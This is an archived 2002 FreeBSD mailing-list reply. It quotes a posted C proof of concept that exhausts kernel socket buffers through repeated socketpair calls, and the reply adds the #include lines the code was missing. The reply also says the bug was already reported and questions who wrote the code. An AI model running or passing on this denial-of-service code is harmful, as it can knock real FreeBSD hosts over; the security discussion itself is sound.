Date: Mon, 2 Sep 2002 02:01:50 -0700 From: Benjamin Krueger <benjamin@seattleFenix.net> To: Ivan Streetovich <bad_dot_c@yahoo.com> Cc: freebsd-chat@freebsd.org Subject: Re: From: Ivan Streetovich, Japan Message-ID: <20020902020150.H64882@mail.seattleFenix.net> In-Reply-To: <20020902015252.G64882@mail.seattleFenix.net>; from benjamin@seattleFenix.net on Mon, Sep 02, 2002 at 01:52:52AM -0700 References: <20020902061632.77710.qmail@web12905.mail.yahoo.com> <20020902015252.G64882@mail.seattleFenix.net>
next in thread | previous in thread | raw e-mail | index | archive | help
* Benjamin Krueger (benjamin@seattleFenix.net) [020902 01:53]: > * Ivan Streetovich (bad_dot_c@yahoo.com) [020901 23:15]: > > > > __________________________________________________ > > Do You Yahoo!? > > Everything you'll ever need on one web page > > from News and Sport to Email and Music Charts > > http://uk.my.yahoo.com > > Date: Mon, 2 Sep 2002 07:05:52 +0100 (BST) > > From: Ivan Streetovich <bad_dot_c@yahoo.com> > > Subject: From: Ivan Streetovich, Japan > > To: security@freebsd.com > > > > #define BUFFERSIZE 204800 > > extern int > > > > /* Released by Ivan Streetovich, Japan * > > * Causes problems on FreeBSD */ > > > > main(void) > > { > > int p[2], i; > > char crap[BUFFERSIZE]; > > while (1) > > { > > if (socketpair(AF_UNIX, SOCK_STREAM, > > 0, p) == -1) > > break; > > i = BUFFERSIZE; > > setsockopt(p[0], SOL_SOCKET, > > SO_RCVBUF, &i, sizeof(int)); > > setsockopt(p[0], SOL_SOCKET, > > SO_SNDBUF, &i, sizeof(int)); > > setsockopt(p[1], SOL_SOCKET, > > SO_RCVBUF, &i, sizeof(int)); > > setsockopt(p[1], SOL_SOCKET, > > SO_SNDBUF, &i, sizeof(int)); > > fcntl(p[0], F_SETFL, O_NONBLOCK); > > fcntl(p[1], F_SETFL, O_NONBLOCK); > > write(p[0], crap, BUFFERSIZE); > > write(p[1], crap, BUFFERSIZE); > > } > > exit(0); > > } > > This problem (and this exact source code, funnily enough. Are you sure you > released it?) has already been reported to the security-officer and is > (afaik) being addressed by the developers. =) > By the way, Mister 'Streetovich', you forgot to paste the #includes with the rest of "your" code. #include <unistd.h> #include <sys/socket.h> #include <fcntl.h> -- Benjamin Krueger "Everyone has wings, some folks just don't know what they're for" - B. Banzai ---------------------------------------------------------------- Send mail w/ subject 'send public key' or query for (0x251A4B18) Fingerprint = A642 F299 C1C1 C828 F186 A851 CFF0 7711 251A 4B18 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20020902020150.H64882>